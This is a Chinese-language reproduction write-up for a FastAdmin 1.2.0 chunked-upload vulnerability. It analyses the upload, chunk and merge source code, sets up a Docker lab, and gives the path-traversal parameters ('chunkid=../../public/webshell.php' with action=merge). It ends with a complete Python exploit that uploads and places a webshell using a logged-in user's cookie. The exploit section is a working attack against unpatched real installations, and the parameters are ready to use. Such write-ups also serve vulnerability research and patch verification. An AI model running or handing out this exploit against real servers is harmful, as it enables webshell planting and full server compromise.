一、漏洞详情:
从公开的文章可以得到以下信息:
- 漏洞利用需要普通用户权限并且配置开启了分片上传功能
- 漏洞api在
index/ajax/upload
- 源码上传路径固定,可以推测出
- 漏洞位置
application/api/controller/Common.php#upload()
二、源码分析
这里说明下,分片功能是在FastAdmin1.2.0版本才开始使用,所以下载的话从V1.2.0.20201001_beta版本及之后的版本下载。
1、upload() 上传文件源码分析
application/api/controller/Common.php#upload()
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
|
public function upload() { Config::set('default_return_type', 'json'); Config::set('upload.cdnurl', ''); $chunkid = $this->request->post("chunkid"); if ($chunkid) { if (!Config::get('upload.chunking')) { $this->error(__('Chunk file disabled')); } $action = $this->request->post("action"); $chunkindex = $this->request->post("chunkindex/d"); $chunkcount = $this->request->post("chunkcount/d"); $filename = $this->request->post("filename"); $method = $this->request->method(true); if ($action == 'merge') { $attachment = null; try { $upload = new Upload(); $attachment = $upload->merge($chunkid, $chunkcount, $filename); } catch (UploadException $e) { $this->error($e->getMessage()); } $this->success(__('Uploaded successful'), ['url' => $attachment->url, 'fullurl' => cdnurl($attachment->url, true)]); } elseif ($method == 'clean') { try { $upload = new Upload(); $upload->clean($chunkid); } catch (UploadException $e) { $this->error($e->getMessage()); } $this->success(); } else { $file = $this->request->file('file'); try { $upload = new Upload($file); $upload->chunk($chunkid, $chunkindex, $chunkcount); } catch (UploadException $e) { $this->error($e->getMessage()); } $this->success(); } } else { $attachment = null; $file = $this->request->file('file'); try { $upload = new Upload($file); $attachment = $upload->upload(); } catch (UploadException $e) { $this->error($e->getMessage()); }
$this->success(__('Uploaded successful'), ['url' => $attachment->url, 'fullurl' => cdnurl($attachment->url, true)]); }
}
|
分析代码逻辑:
- 获取post参数chunkid,有chunkid的情况属于分片文件,没有就是普通文件上传
- 获取分片文件上传需要的参数值,包括action、chunkindex、chunkcount、filename
- 首先判断action值,merge的话指定将会合并文件、clean的话指定将会删除冗余文件,其它情况就认为是上传分片
2、chunk()分片上传源码分析
点进chunk($chunkid, $chunkindex, $chunkcount)
和merge($chunkid, $chunkcount, $filename)
分别分析,两个方法在application/common/library/upload.php
文件
chunk源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
|
public function chunk($chunkid, $chunkindex, $chunkcount, $chunkfilesize = null, $chunkfilename = null, $direct = false) {
if ($this->fileInfo['type'] != 'application/octet-stream') { throw new UploadException(__('Uploaded file format is limited')); }
$destDir = RUNTIME_PATH . 'chunks'; $fileName = $chunkid . "-" . $chunkindex . '.part'; $destFile = $destDir . DS . $fileName; if (!is_dir($destDir)) { @mkdir($destDir, 0755, true); } if (!move_uploaded_file($this->file->getPathname(), $destFile)) { throw new UploadException(__('Chunk file write error')); } $file = new File($destFile); $this->setFile($file); return $file; }
|
chunk代码逻辑:
- 判断Content-Type,需要是
application/octet-stream
才可以继续
- 分片文件名称以
chunkid-chunkindex.part
命名,形如123.php-0.part
- destDir没有创建的话先创建,移动文件到目标文件
3、merge()合并分片文件源码分析
merge源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
|
public function merge($chunkid, $chunkcount, $filename) { $filePath = $this->chunkDir . DS . $chunkid;
$completed = true; for ($i = 0; $i < $chunkcount; $i++) { if (!file_exists("{$filePath}-{$i}.part")) { $completed = false; break; } } if (!$completed) { $this->clean($chunkid); throw new UploadException(__('Chunk file info error')); }
$uploadPath = $filePath;
if (!$destFile = @fopen($uploadPath, "wb")) { $this->clean($chunkid); throw new UploadException(__('Chunk file merge error')); } if (flock($destFile, LOCK_EX)) { for ($i = 0; $i < $chunkcount; $i++) { $partFile = "{$filePath}-{$i}.part"; if (!$handle = @fopen($partFile, "rb")) { break; } while ($buff = fread($handle, filesize($partFile))) { fwrite($destFile, $buff); } @fclose($handle); @unlink($partFile); }
flock($destFile, LOCK_UN); } @fclose($destFile);
$file = new File($uploadPath); $info = [ 'name' => $filename, 'type' => $file->getMime(), 'tmp_name' => $uploadPath, 'error' => 0, 'size' => $file->getSize() ]; $file->setSaveName($filename)->setUploadInfo($info); $file->isTest(true);
$this->setFile($file);
unset($file); $this->merging = true;
$this->config['maxsize'] = "1024G";
return $this->upload(); }
|
merge源码逻辑:
- 根据chunkcount分片数检查所有分片.part是否都存在
- 如果所有文件分片都上传完毕,开始合并:从0到chunkcount分片数,把所有.part文件进行合并,写入文件,位置为destFile,由于
$destFile = @fopen($uploadPath, "wb")
而$uploadPath = $filePath
并且$filePath = $this->chunkDir . DS . $chunkid
,因此$destFile就是POST传入的chunkid值,因此chunkid如果是包含路径的文件名的话,就可以指定文件存放位置。chunkDir根据源码知道是RUNTIEM_PATH[即runtime]+chunks,其实就是fastadmin项目目录的runtime/chunks,DS是DIRECTORY_SEPARATOR,查了下DIRECTORY_SEPARATOR就是显示系统分隔符的命令 通俗讲就是转换适合系统的文件分隔符,所以如果想让webshell放置在http://ip/webshell.php ,构造chunkDir就可以用../../public/webshell.php
来达成目的。
4、梳理漏洞信息
根据上面代码逻辑梳理
- post上传,需要chunkid、action、chunkindex、chunkcount、filename,其中chunkid是可包含存放路径的文件名,action属于文件操作(merge是合并、clean是删除冗余,其它情况就是上传分片)、chunkindex是分片位置,chunkcount是分片数,filename是文件名;另外文件类型需要是application/octet-stream
- 指定文件合并的话
action=merge&chunkid=../../public/webshell.php&chunkindex=0&chunkcount=1&filename=webshell.php-0.part
就可以达到合并的目的
三、搭建漏洞环境
2、搭建php+mysql+nginx环境
使用docker-phper搭建,搭建步骤参考:docker 一键部署fastadmin,默认mysql密码是root/123456
3、问题解决:
搭建环境遇到了很多问题,遇到的问题不少,基本通过下面几个链接可以解决:
https://ask.fastadmin.net/question/1905.html
https://blog.csdn.net/qq_39999924/article/details/103716808
https://ask.fastadmin.net/article/1145.html
如果还报错:当前权限不足,无法写入配置文件application/database.php,可以cd application && chmod 777 *.php
另外如果拉取镜像过程中有提示下载某个文件失败,可以添加下镜像源如下
1 2 3 4
| [root@localhost docker-phper]# vim /etc/docker/daemon.json { "registry-mirrors": ["http://hub-mirror.c.163.com","http://18817714.m.daocloud.io"] }
|
4、install.php安装
访问install.php填写相关信息进行按照
5、漏洞利用条件设置
- 需要注册普通用户
- 设置application/extra/upload.php的chunking为true
至此,环境搭建完毕。
四、复现EXP
把webshell放在同目录下进行复现即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import requests from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) from json import loads
class FastAdmin_Fileupload_20210407: def __init__(self, url): self.url = url if "http" not in url: self.ip = url.split(':')[0] self.port = url.split(':')[1] if '443' in url: self.url = "https://" + self.url else: self.url = "http://" + self.url else: self.ip = url.split(':')[1] self.port = url.split(':')[2] self.info = { "VUL": "Fastadmin_FileUpload_0407", "VUL_NAME": "Fastadmin前台文件上传漏洞", "TYPE": "FileUpload", "DESCRIPTION": "FastAdmin 1.2.0版本爆出存在低权限用户有条件RCE的漏洞。当开启了分片上传功能时,fastadmin 会根据传入的 chunkid ,结合硬编码后缀来命名和保存文件,攻击者可预测文件上传路径;此后攻击者提交 分片合并 请求时,fastadmin 将会根据传入的 chunkid ,去除了上一步操作中文件名的硬编码后保存新文件,导致任意文件上传。", "IMPACT": "FastAdmin 1.2.0 < V1.2.0.20210401_beta", "REFERENCE": "https://mp.weixin.qq.com/s/otrH75ZjCHBQbRB7g5DdWg" }
def exp(self, cookie): vulUrl = self.url + '/index/ajax/upload' chunkid = 'webshell.php' file = { 'file': (chunkid, open('webshell.php', 'rb'), 'application/octet-stream') } data = { 'chunkid': '../../public/%s' % chunkid, 'chunkindex': 0, 'chunkcount': 1 } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0', 'Cookie': cookie, } try: rsp_upload = requests.post(url=vulUrl, files=file, data=data, headers=headers, verify=False, timeout=20) result = loads(rsp_upload.text) if rsp_upload.status_code == 200 and result['code'] == 1 and result['msg'] == '' and result['data'] == None: data = { 'action': 'merge', 'chunkid': '../../public/%s' % chunkid, 'chunkindex': 0, 'chunkcount': 1, 'filename': '%s-0.part' % chunkid } rsp = requests.post(vulUrl, data=data, headers=headers, verify=False, timeout=20) if rsp.status_code == 200: print('webshell path: ' + self.url + '/%s' % chunkid) return True else: return False else: return False except Exception as e: print(e) return False
if __name__ == '__main__': url = "http://192.168.116.132:80" vul = FastAdmin_Fileupload_20210407(url) cookie = 'PHPSESSID=luanbpjfh61ra83juitgoureho; uid=2; token=68772899-f4f2-4737-aff0-b6b727a585dc' vul.exp(cookie=cookie)
|
参考链接:
https://mp.weixin.qq.com/s/otrH75ZjCHBQbRB7g5DdWg
https://ask.fastadmin.net/article/12492.html
https://ask.fastadmin.net/question/1905.html
https://blog.csdn.net/qq_39999924/article/details/103716808
https://ask.fastadmin.net/article/1145.html